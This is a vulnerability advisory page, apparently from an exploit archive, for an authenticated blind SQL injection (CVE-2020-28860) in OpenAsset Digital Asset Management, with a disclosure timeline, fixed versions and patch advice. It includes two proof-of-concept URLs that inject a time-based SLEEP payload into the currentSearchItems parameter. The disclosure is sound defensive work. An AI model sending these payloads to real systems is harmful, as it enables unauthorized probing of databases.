OpenAsset Digital Asset Management SQL Injection

Authored by Jack Misiura

Posted Dec 11, 2020

OpenAsset Digital Asset Management suffers from an authenticated blind remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-28860
SHA-256 | 895921eb0a53976c8b5da677f784a32391efcbd1cc80d796ef72378efa54580a

Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
Title: Authenticated blind SQL injection (SQLi)


Product: OpenAsset Digital Asset Management by OpenAsset


Vendor Homepage: https://www.openasset.com/


Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)


Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)


CVE Number: CVE-2020-28860


Author: Jack Misiura from The Missing Link


Website: https://www.themissinglink.com.au


Timeline:


2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication


1. Vulnerability Description


The OpenAsset Digital Asset Management application was vulnerable to a blind SQL injection, through the
/AJAXPage/SearchResults endpoint, via the "currentSearchItems" parameter.


2. PoC


The following requests will result in > 10 second delay in the response, due to the introduction of the
SLEEP(10) command into the SQL query:


https://example.com/AJAXPage/SearchResults?currentSearchItems=newUpload:0=11)%20AND%20(SELECT%20SLEEP(10))=1%23

https://example.com/AJAXPage/SearchResults?currentSearchItems=album%3A1=196)%20AND%20(SELECT+SLEEP(10)=1)%23




3. Solution


The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud
version, the vendor has already updated it.


4. Advisory URL


https://www.themissinglink.com.au/security-advisories
```

Login or Register to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter

Subscribe to an RSS Feed